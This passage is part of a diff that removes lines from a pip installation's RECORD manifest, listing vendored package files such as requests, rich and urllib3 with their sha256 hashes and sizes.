-pip/_vendor/pygments/style.py,sha256=wJSXOXjehGYxI6e3DGaUtONeWuhmTfswfkysrL9Was0,6423
-pip/_vendor/pygments/styles/__init__.py,sha256=kYdCGK8gZ1V8wfFQETOzpPmZTJ1nMB0b1iNlU8dHQ9E,2045
-pip/_vendor/pygments/styles/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pygments/styles/__pycache__/_mapping.cpython-314.pyc,,
-pip/_vendor/pygments/styles/_mapping.py,sha256=6lovFUE29tz6EsV3XYY4hgozJ7q1JL7cfO3UOlgnS8w,3312
-pip/_vendor/pygments/token.py,sha256=DVil5T2ltHkTgQTUYy1dMtgyigjavCs1ypE4Qf2CrGo,6229
-pip/_vendor/pygments/unistring.py,sha256=Z4w4HfOVUhueCURRkfhAqQ2b-69UzkhY4xuHevYEy5g,63211
-pip/_vendor/pygments/util.py,sha256=zk935tJSpwSA9zxNmV1TuhcEP0MfboXiRZSGQnLPEqk,10046
-pip/_vendor/pyproject_hooks/LICENSE,sha256=GyKwSbUmfW38I6Z79KhNjsBLn9-xpR02DkK0NCyLQVQ,1081
-pip/_vendor/pyproject_hooks/__init__.py,sha256=cPB_a9LXz5xvsRbX1o2qyAdjLatZJdQ_Lc5McNX-X7Y,691
-pip/_vendor/pyproject_hooks/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pyproject_hooks/__pycache__/_impl.cpython-314.pyc,,
-pip/_vendor/pyproject_hooks/_impl.py,sha256=jY-raxnmyRyB57ruAitrJRUzEexuAhGTpgMygqx67Z4,14936
-pip/_vendor/pyproject_hooks/_in_process/__init__.py,sha256=MJNPpfIxcO-FghxpBbxkG1rFiQf6HOUbV4U5mq0HFns,557
-pip/_vendor/pyproject_hooks/_in_process/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pyproject_hooks/_in_process/__pycache__/_in_process.cpython-314.pyc,,
-pip/_vendor/pyproject_hooks/_in_process/_in_process.py,sha256=qcXMhmx__MIJq10gGHW3mA4Tl8dy8YzHMccwnNoKlw0,12216
-pip/_vendor/pyproject_hooks/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/requests/LICENSE,sha256=CeipvOyAZxBGUsFoaFqwkx54aPnIKEtm9a5u2uXxEws,10142
-pip/_vendor/requests/__init__.py,sha256=nC2attFwdoYN-oE6-vQW4ciuvIu7J2P_TU1qQ2DcueE,5873
-pip/_vendor/requests/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/__version__.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/_internal_utils.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/_types.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/adapters.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/api.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/auth.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/certs.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/compat.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/cookies.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/exceptions.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/help.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/hooks.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/models.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/packages.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/sessions.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/status_codes.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/structures.cpython-314.pyc,,
-pip/_vendor/requests/__pycache__/utils.cpython-314.pyc,,
-pip/_vendor/requests/__version__.py,sha256=q7qQZwsDcKPcQNl8LepGo11L7JQf8Q18PPMJjvBKF_k,435
-pip/_vendor/requests/_internal_utils.py,sha256=TH2NEyyYmPx9cV5HPzrHR4XdxKuW0skkD4eDXcbZgf8,1542
-pip/_vendor/requests/_types.py,sha256=0G33n1SiecDMP67FlsRGJG1a0U7f1SnrMo3vvWKkSok,5838
-pip/_vendor/requests/adapters.py,sha256=5kSKhXlJuR_enrOjd3khSGpRBj1WqCh08Qssu0CEZ8M,28208
-pip/_vendor/requests/api.py,sha256=TRVICsBG8Ikgl5joZQR270oo6-b4G0AHWPjvQuxrVQk,7152
-pip/_vendor/requests/auth.py,sha256=6TlRpVLUw8X9m4Sl4dSbA8qrpHI8T_ES2mBTYA7IWmU,12233
-pip/_vendor/requests/certs.py,sha256=eD1G0RoMZ3kA0lydkw7oo0lmcKqvD1hhz6yOlgSKm8w,442
-pip/_vendor/requests/compat.py,sha256=1UheFGomceWe7aysgboYWxcEOH_HpQFmKhIyPiAanog,2035
-pip/_vendor/requests/cookies.py,sha256=ChzmFA8rlCBSLFCA41bmifp5bCUi9VyhCCb17Y4Kcjw,21549
-pip/_vendor/requests/exceptions.py,sha256=Am6y4ncoBptpmesOjRxc5iiuBDYjx3UN1oRVBlNgRyE,4576
-pip/_vendor/requests/help.py,sha256=TVWejkCROwKexHHB44KCZSr-c0o5XakNL7LT1UJlRy8,4114
-pip/_vendor/requests/hooks.py,sha256=69igJHXTGg5HOo9VPpUB_0NkW5VjiFrVKETnpj8Ndqs,1138
-pip/_vendor/requests/models.py,sha256=99d7WF4pR35NHo9jrbGiBocZ3LCMsloVU0DAcQ49x3Q,41848
-pip/_vendor/requests/packages.py,sha256=_ZQDCJTJ8SP3kVWunSqBsRZNPzj2c1WFVqbdr08pz3U,1057
-pip/_vendor/requests/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/requests/sessions.py,sha256=lvuzC7vwalmlJo0TtXiFFJdWqj8xaVtcFeQd17svZ6Y,34248
-pip/_vendor/requests/status_codes.py,sha256=GVD0fInPGAGXh-B9jOSPZtazjmIvfZTXCpAkf-5sBA4,4351
-pip/_vendor/requests/structures.py,sha256=upRgw5B48l5vHSokrJQaxvjS7pcZf6jI0MJi2KHmegI,4134
-pip/_vendor/requests/utils.py,sha256=u7MICyzQTvfUa3asg9nBvcrnhSIPEc6qhJSxiGGwTOk,36334
-pip/_vendor/resolvelib/LICENSE,sha256=84j9OMrRMRLB3A9mm76A5_hFQe26-3LzAw0sp2QsPJ0,751
-pip/_vendor/resolvelib/__init__.py,sha256=yoX-d4STvwGGCiQRE5cJC9Cter69SgVgqClxOCvSP7M,541
-pip/_vendor/resolvelib/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/resolvelib/__pycache__/providers.cpython-314.pyc,,
-pip/_vendor/resolvelib/__pycache__/reporters.cpython-314.pyc,,
-pip/_vendor/resolvelib/__pycache__/structs.cpython-314.pyc,,
-pip/_vendor/resolvelib/providers.py,sha256=pIWJbIdJJ9GFtNbtwTH0Ia43Vj6hYCEJj2DOLue15FM,8914
-pip/_vendor/resolvelib/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/resolvelib/reporters.py,sha256=pNJf4nFxLpAeKxlBUi2GEj0a2Ij1nikY0UabTKXesT4,2037
-pip/_vendor/resolvelib/resolvers/__init__.py,sha256=728M3EvmnPbVXS7ExXlv2kMu6b7wEsoPutEfl-uVk_I,640
-pip/_vendor/resolvelib/resolvers/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/resolvelib/resolvers/__pycache__/abstract.cpython-314.pyc,,
-pip/_vendor/resolvelib/resolvers/__pycache__/criterion.cpython-314.pyc,,
-pip/_vendor/resolvelib/resolvers/__pycache__/exceptions.cpython-314.pyc,,
-pip/_vendor/resolvelib/resolvers/__pycache__/resolution.cpython-314.pyc,,
-pip/_vendor/resolvelib/resolvers/abstract.py,sha256=CNeQPnpAudY77nmzOkONSmAgRlzIf06X-X9mvRYODms,1543
-pip/_vendor/resolvelib/resolvers/criterion.py,sha256=lcmZGv5sKHOnFD_RzZwvlGSj19MeA-5rCMpdf2Sgw7Y,1768
-pip/_vendor/resolvelib/resolvers/exceptions.py,sha256=ln_jaQtgLlRUSFY627yiHG2gD7AgaXzRKaElFVh7fDQ,1768
-pip/_vendor/resolvelib/resolvers/resolution.py,sha256=3J_zkW-sD3EY-BlNXjyln__njpyH5n0UZJT6uV7CheA,24212
-pip/_vendor/resolvelib/structs.py,sha256=pu-EJiR2IBITr2SQeNPRa0rXhjlStfmO_GEgAhr3004,6420
-pip/_vendor/rich/LICENSE,sha256=3u18F6QxgVgZCj6iOcyHmlpQJxzruYrnAl9I--WNyhU,1056
-pip/_vendor/rich/__init__.py,sha256=dRxjIL-SbFVY0q3IjSMrfgBTHrm1LZDgLOygVBwiYZc,6090
-pip/_vendor/rich/__main__.py,sha256=e_aVC-tDzarWQW9SuZMuCgBr6ODV_iDNV2Wh2xkxOlw,7896
-pip/_vendor/rich/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_cell_widths.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_emoji_codes.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_emoji_replace.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_export_format.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_extension.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_fileno.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_inspect.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_log_render.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_loop.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_null_file.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_palettes.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_pick.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_ratio.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_spinners.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_stack.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_timer.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_win32_console.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_windows.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_windows_renderer.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/_wrap.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/abc.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/align.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/ansi.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/bar.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/box.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/cells.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/color.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/color_triplet.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/columns.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/console.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/constrain.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/containers.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/control.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/default_styles.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/diagnose.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/emoji.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/errors.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/file_proxy.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/filesize.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/highlighter.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/json.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/jupyter.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/layout.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/live.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/live_render.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/logging.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/markup.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/measure.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/padding.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/pager.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/palette.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/panel.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/pretty.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/progress.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/progress_bar.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/prompt.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/protocol.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/region.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/repr.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/rule.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/scope.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/screen.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/segment.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/spinner.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/status.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/style.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/styled.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/syntax.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/table.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/terminal_theme.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/text.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/theme.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/themes.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/traceback.cpython-314.pyc,,
-pip/_vendor/rich/__pycache__/tree.cpython-314.pyc,,
-pip/_vendor/rich/_cell_widths.py,sha256=fbmeyetEdHjzE_Vx2l1uK7tnPOhMs2X1lJfO3vsKDpA,10209
-pip/_vendor/rich/_emoji_codes.py,sha256=hu1VL9nbVdppJrVoijVshRlcRRe_v3dju3Mmd2sKZdY,140235
-pip/_vendor/rich/_emoji_replace.py,sha256=n-kcetsEUx2ZUmhQrfeMNc-teeGhpuSQ5F8VPBsyvDo,1064
-pip/_vendor/rich/_export_format.py,sha256=RI08pSrm5tBSzPMvnbTqbD9WIalaOoN5d4M1RTmLq1Y,2128
-pip/_vendor/rich/_extension.py,sha256=Xt47QacCKwYruzjDi-gOBq724JReDj9Cm9xUi5fr-34,265
-pip/_vendor/rich/_fileno.py,sha256=HWZxP5C2ajMbHryvAQZseflVfQoGzsKOHzKGsLD8ynQ,799
-pip/_vendor/rich/_inspect.py,sha256=ROT0PLC2GMWialWZkqJIjmYq7INRijQQkoSokWTaAiI,9656
-pip/_vendor/rich/_log_render.py,sha256=1ByI0PA1ZpxZY3CGJOK54hjlq4X-Bz_boIjIqCd8Kns,3225
-pip/_vendor/rich/_loop.py,sha256=hV_6CLdoPm0va22Wpw4zKqM0RYsz3TZxXj0PoS-9eDQ,1236
-pip/_vendor/rich/_null_file.py,sha256=ADGKp1yt-k70FMKV6tnqCqecB-rSJzp-WQsD7LPL-kg,1394
-pip/_vendor/rich/_palettes.py,sha256=cdev1JQKZ0JvlguV9ipHgznTdnvlIzUFDBb0It2PzjI,7063
-pip/_vendor/rich/_pick.py,sha256=evDt8QN4lF5CiwrUIXlOJCntitBCOsI3ZLPEIAVRLJU,423
-pip/_vendor/rich/_ratio.py,sha256=IOtl78sQCYZsmHyxhe45krkb68u9xVz7zFsXVJD-b2Y,5325
-pip/_vendor/rich/_spinners.py,sha256=U2r1_g_1zSjsjiUdAESc2iAMc3i4ri_S8PYP6kQ5z1I,19919
-pip/_vendor/rich/_stack.py,sha256=-C8OK7rxn3sIUdVwxZBBpeHhIzX0eI-VM3MemYfaXm0,351
-pip/_vendor/rich/_timer.py,sha256=zelxbT6oPFZnNrwWPpc1ktUeAT-Vc4fuFcRZLQGLtMI,417
-pip/_vendor/rich/_win32_console.py,sha256=BSaDRIMwBLITn_m0mTRLPqME5q-quGdSMuYMpYeYJwc,22755
-pip/_vendor/rich/_windows.py,sha256=aBwaD_S56SbgopIvayVmpk0Y28uwY2C5Bab1wl3Bp-I,1925
-pip/_vendor/rich/_windows_renderer.py,sha256=t74ZL3xuDCP3nmTp9pH1L5LiI2cakJuQRQleHCJerlk,2783
-pip/_vendor/rich/_wrap.py,sha256=FlSsom5EX0LVkA3KWy34yHnCfLtqX-ZIepXKh-70rpc,3404
-pip/_vendor/rich/abc.py,sha256=ON-E-ZqSSheZ88VrKX2M3PXpFbGEUUZPMa_Af0l-4f0,890
-pip/_vendor/rich/align.py,sha256=dg-7uY0ukMLLlUEsBDRLva22_sQgIJD4BK0dmZHFHug,10324
-pip/_vendor/rich/ansi.py,sha256=Avs1LHbSdcyOvDOdpELZUoULcBiYewY76eNBp6uFBhs,6921
-pip/_vendor/rich/bar.py,sha256=ldbVHOzKJOnflVNuv1xS7g6dLX2E3wMnXkdPbpzJTcs,3263
-pip/_vendor/rich/box.py,sha256=kmavBc_dn73L_g_8vxWSwYJD2uzBXOUFTtJOfpbczcM,10686
-pip/_vendor/rich/cells.py,sha256=KrQkj5-LghCCpJLSNQIyAZjndc4bnEqOEmi5YuZ9UCY,5130
-pip/_vendor/rich/color.py,sha256=3HSULVDj7qQkXUdFWv78JOiSZzfy5y1nkcYhna296V0,18211
-pip/_vendor/rich/color_triplet.py,sha256=3lhQkdJbvWPoLDO-AnYImAWmJvV5dlgYNCVZ97ORaN4,1054
-pip/_vendor/rich/columns.py,sha256=HUX0KcMm9dsKNi11fTbiM_h2iDtl8ySCaVcxlalEzq8,7131
-pip/_vendor/rich/console.py,sha256=t9azZpmRMVU5cphVBZSShNsmBxd2-IAWcTTlhor-E1s,100849
-pip/_vendor/rich/constrain.py,sha256=1VIPuC8AgtKWrcncQrjBdYqA3JVWysu6jZo1rrh7c7Q,1288
-pip/_vendor/rich/containers.py,sha256=c_56TxcedGYqDepHBMTuZdUIijitAQgnox-Qde0Z1qo,5502
-pip/_vendor/rich/control.py,sha256=EUTSUFLQbxY6Zmo_sdM-5Ls323vIHTBfN8TPulqeHUY,6487
-pip/_vendor/rich/default_styles.py,sha256=khQFqqaoDs3bprMqWpHw8nO5UpG2DN6QtuTd6LzZwYc,8257
-pip/_vendor/rich/diagnose.py,sha256=fJl1TItRn19gGwouqTg-8zPUW3YqQBqGltrfPQs1H9w,1025
-pip/_vendor/rich/emoji.py,sha256=Wd4bQubZdSy6-PyrRQNuMHtn2VkljK9uPZPVlu2cmx0,2367
-pip/_vendor/rich/errors.py,sha256=5pP3Kc5d4QJ_c0KFsxrfyhjiPVe7J1zOqSFbFAzcV-Y,642
-pip/_vendor/rich/file_proxy.py,sha256=Tl9THMDZ-Pk5Wm8sI1gGg_U5DhusmxD-FZ0fUbcU0W0,1683
-pip/_vendor/rich/filesize.py,sha256=_iz9lIpRgvW7MNSeCZnLg-HwzbP4GETg543WqD8SFs0,2484
-pip/_vendor/rich/highlighter.py,sha256=G_sn-8DKjM1sEjLG_oc4ovkWmiUpWvj8bXi0yed2LnY,9586
-pip/_vendor/rich/json.py,sha256=vVEoKdawoJRjAFayPwXkMBPLy7RSTs-f44wSQDR2nJ0,5031
-pip/_vendor/rich/jupyter.py,sha256=QyoKoE_8IdCbrtiSHp9TsTSNyTHY0FO5whE7jOTd9UE,3252
-pip/_vendor/rich/layout.py,sha256=ajkSFAtEVv9EFTcFs-w4uZfft7nEXhNzL7ZVdgrT5rI,14004
-pip/_vendor/rich/live.py,sha256=tF3ukAAJZ_N2ZbGclqZ-iwLoIoZ8f0HHUz79jAyJqj8,15180
-pip/_vendor/rich/live_render.py,sha256=It_39YdzrBm8o3LL0kaGorPFg-BfZWAcrBjLjFokbx4,3521
-pip/_vendor/rich/logging.py,sha256=5KaPPSMP9FxcXPBcKM4cGd_zW78PMgf-YbMVnvfSw0o,12468
-pip/_vendor/rich/markup.py,sha256=3euGKP5s41NCQwaSjTnJxus5iZMHjxpIM0W6fCxra38,8451
-pip/_vendor/rich/measure.py,sha256=HmrIJX8sWRTHbgh8MxEay_83VkqNW_70s8aKP5ZcYI8,5305
-pip/_vendor/rich/padding.py,sha256=KVEI3tOwo9sgK1YNSuH__M1_jUWmLZwRVV_KmOtVzyM,4908
-pip/_vendor/rich/pager.py,sha256=SO_ETBFKbg3n_AgOzXm41Sv36YxXAyI3_R-KOY2_uSc,828
-pip/_vendor/rich/palette.py,sha256=lInvR1ODDT2f3UZMfL1grq7dY_pDdKHw4bdUgOGaM4Y,3396
-pip/_vendor/rich/panel.py,sha256=9sQl00hPIqH5G2gALQo4NepFwpP0k9wT-s_gOms5pIc,11157
-pip/_vendor/rich/pretty.py,sha256=gy3S72u4FRg2ytoo7N1ZDWDIvB4unbzd5iUGdgm-8fc,36391
-pip/_vendor/rich/progress.py,sha256=CUc2lkU-X59mVdGfjMCBkZeiGPL3uxdONjhNJF2T7wY,60408
-pip/_vendor/rich/progress_bar.py,sha256=mZTPpJUwcfcdgQCTTz3kyY-fc79ddLwtx6Ghhxfo064,8162
-pip/_vendor/rich/prompt.py,sha256=l0RhQU-0UVTV9e08xW1BbIj0Jq2IXyChX4lC0lFNzt4,12447
-pip/_vendor/rich/protocol.py,sha256=5hHHDDNHckdk8iWH5zEbi-zuIVSF5hbU2jIo47R7lTE,1391
-pip/_vendor/rich/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/rich/region.py,sha256=rNT9xZrVZTYIXZC0NYn41CJQwYNbR-KecPOxTgQvB8Y,166
-pip/_vendor/rich/repr.py,sha256=5MZJZmONgC6kud-QW-_m1okXwL2aR6u6y-pUcUCJz28,4431
-pip/_vendor/rich/rule.py,sha256=0fNaS_aERa3UMRc3T5WMpN_sumtDxfaor2y3of1ftBk,4602
-pip/_vendor/rich/scope.py,sha256=TMUU8qo17thyqQCPqjDLYpg_UU1k5qVd-WwiJvnJVas,2843
-pip/_vendor/rich/screen.py,sha256=YoeReESUhx74grqb0mSSb9lghhysWmFHYhsbMVQjXO8,1591
-pip/_vendor/rich/segment.py,sha256=otnKeKGEV-WRlQVosfJVeFDcDxAKHpvJ_hLzSu5lumM,24743
-pip/_vendor/rich/spinner.py,sha256=onIhpKlljRHppTZasxO8kXgtYyCHUkpSgKglRJ3o51g,4214
-pip/_vendor/rich/status.py,sha256=kkPph3YeAZBo-X-4wPp8gTqZyU466NLwZBA4PZTTewo,4424
-pip/_vendor/rich/style.py,sha256=W9Ccy8Py8lNICtlfcp-ryzMTuQaGxAU3av7-g5fHu0s,26990
-pip/_vendor/rich/styled.py,sha256=eZNnzGrI4ki_54pgY3Oj0T-x3lxdXTYh4_ryDB24wBU,1258
-pip/_vendor/rich/syntax.py,sha256=eDKIRwl--eZ0Lwo2da2RRtfutXGavrJO61Cl5OkS59U,36371
-pip/_vendor/rich/table.py,sha256=ZmT7V7MMCOYKw7TGY9SZLyYDf6JdM-WVf07FdVuVhTI,40049
-pip/_vendor/rich/terminal_theme.py,sha256=1j5-ufJfnvlAo5Qsi_ACZiXDmwMXzqgmFByObT9-yJY,3370
-pip/_vendor/rich/text.py,sha256=AO7JPCz6-gaN1thVLXMBntEmDPVYFgFNG1oM61_sanU,47552
-pip/_vendor/rich/theme.py,sha256=oNyhXhGagtDlbDye3tVu3esWOWk0vNkuxFw-_unlaK0,3771
-pip/_vendor/rich/themes.py,sha256=0xgTLozfabebYtcJtDdC5QkX5IVUEaviqDUJJh4YVFk,102
-pip/_vendor/rich/traceback.py,sha256=c0WmB_L04_UfZbLaoH982_U_s7eosxKMUiAVmDPdRYU,35861
-pip/_vendor/rich/tree.py,sha256=yWnQ6rAvRGJ3qZGqBrxS2SW2TKBTNrP0SdY8QxOFPuw,9451
-pip/_vendor/tomli/LICENSE,sha256=uAgWsNUwuKzLTCIReDeQmEpuO2GSLCte6S8zcqsnQv4,1072
-pip/_vendor/tomli/__init__.py,sha256=nrBC18DbXRTCFo7ElG5BDeWpHJzOhokvXk215GM8Z2I,314
-pip/_vendor/tomli/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/tomli/__pycache__/_parser.cpython-314.pyc,,
-pip/_vendor/tomli/__pycache__/_re.cpython-314.pyc,,
-pip/_vendor/tomli/__pycache__/_types.cpython-314.pyc,,
-pip/_vendor/tomli/_parser.py,sha256=pBIjTIa_cQs2HglDJ2lh8OJfptfDa6eg5-7Iej4BjHs,26440
-pip/_vendor/tomli/_re.py,sha256=oSNZ_ilFI6chEuQ01YRSoUydBQr_okF_mSdHTkFmv90,3396
-pip/_vendor/tomli/_types.py,sha256=-GTG2VUqkpxwMqzmVO4F7ybKddIbAnuAHXfmWQcTi3Q,254
-pip/_vendor/tomli/py.typed,sha256=8PjyZ1aVoQpRVvt71muvuq5qE-jTFZkK-GLHkhdebmc,26
-pip/_vendor/tomli_w/LICENSE,sha256=uAgWsNUwuKzLTCIReDeQmEpuO2GSLCte6S8zcqsnQv4,1072
-pip/_vendor/tomli_w/__init__.py,sha256=0F8yDtXx3Uunhm874KrAcP76srsM98y7WyHQwCulZbo,169
-pip/_vendor/tomli_w/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/tomli_w/__pycache__/_writer.cpython-314.pyc,,
-pip/_vendor/tomli_w/_writer.py,sha256=dsifFS2xYf1i76mmRyfz9y125xC7Z_HQ845ZKhJsYXs,6961
-pip/_vendor/tomli_w/py.typed,sha256=8PjyZ1aVoQpRVvt71muvuq5qE-jTFZkK-GLHkhdebmc,26
-pip/_vendor/truststore/LICENSE,sha256=M757fo-k_Rmxdg4ajtimaL2rhSyRtpLdQUJLy3Jan8o,1086
-pip/_vendor/truststore/__init__.py,sha256=Bu7kqkmpunhLsj5xCu8gT_25ktoPXcSnwe8VHk1GmJo,1320
-pip/_vendor/truststore/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/truststore/__pycache__/_api.cpython-314.pyc,,
-pip/_vendor/truststore/__pycache__/_macos.cpython-314.pyc,,
-pip/_vendor/truststore/__pycache__/_openssl.cpython-314.pyc,,
-pip/_vendor/truststore/__pycache__/_ssl_constants.cpython-314.pyc,,
-pip/_vendor/truststore/__pycache__/_windows.cpython-314.pyc,,
-pip/_vendor/truststore/_api.py,sha256=CYJCV5BTfttZYfqY3movdMBE-8az7uhET_LYbKT2Nn4,11413
-pip/_vendor/truststore/_macos.py,sha256=nZlLkOmszUE0g6ryRwBVGY5COzPyudcsiJtDWarM5LQ,20503
-pip/_vendor/truststore/_openssl.py,sha256=zB-SQvJydks7tQ0yIwrP6GD3fQNSSaPiq7zw4yF5T40,2412
-pip/_vendor/truststore/_ssl_constants.py,sha256=NUD4fVKdSD02ri7-db0tnO0VqLP9aHuzmStcW7tAl08,1130
-pip/_vendor/truststore/_windows.py,sha256=rAHyKYD8M7t-bXfG8VgOVa3TpfhVhbt4rZQlO45YuP8,17993
-pip/_vendor/truststore/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/urllib3/LICENSE.txt,sha256=Ew46ZNX91dCWp1JpRjSn2d8oRGnehuVzIQAmgEHj1oY,1093
-pip/_vendor/urllib3/__init__.py,sha256=JMo1tg1nIV1AeJ2vENC_Txfl0e5h6Gzl9DGVk1rWRbo,6979
-pip/_vendor/urllib3/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/_base_connection.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/_collections.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/_request_methods.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/_version.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/connection.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/connectionpool.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/exceptions.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/fields.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/filepost.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/poolmanager.cpython-314.pyc,,
-pip/_vendor/urllib3/__pycache__/response.cpython-314.pyc,,
-pip/_vendor/urllib3/_base_connection.py,sha256=HzcSEHexgDrRUr60jNniB2KQjdw97SedD5luRfHtCXg,5580
-pip/_vendor/urllib3/_collections.py,sha256=aOVm2mKilvuvT1efAGtkA7pi65C1NC3HJfpFxvYBS8A,17522
-pip/_vendor/urllib3/_request_methods.py,sha256=gCeF85SO_UU4WoPwYHIoz_tw-eM_EVOkLFp8OFsC7DA,9931
-pip/_vendor/urllib3/_version.py,sha256=-gMrKhsPiOj0XzUezVFa59d1S6QgQiKgQT5gGgyM8-w,520
-pip/_vendor/urllib3/connection.py,sha256=Zos3qxKDW9-GQ6aVqfBQVRM5soB0IjHxY_xXWpJaFTI,42786
-pip/_vendor/urllib3/connectionpool.py,sha256=sGFnddXYwlx7KC4JCP1gKvdNGLNK-YTCJDdGACGj3Y8,44164
-pip/_vendor/urllib3/contrib/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/urllib3/contrib/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/__pycache__/pyopenssl.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/__pycache__/socks.cpython-314.pyc,,
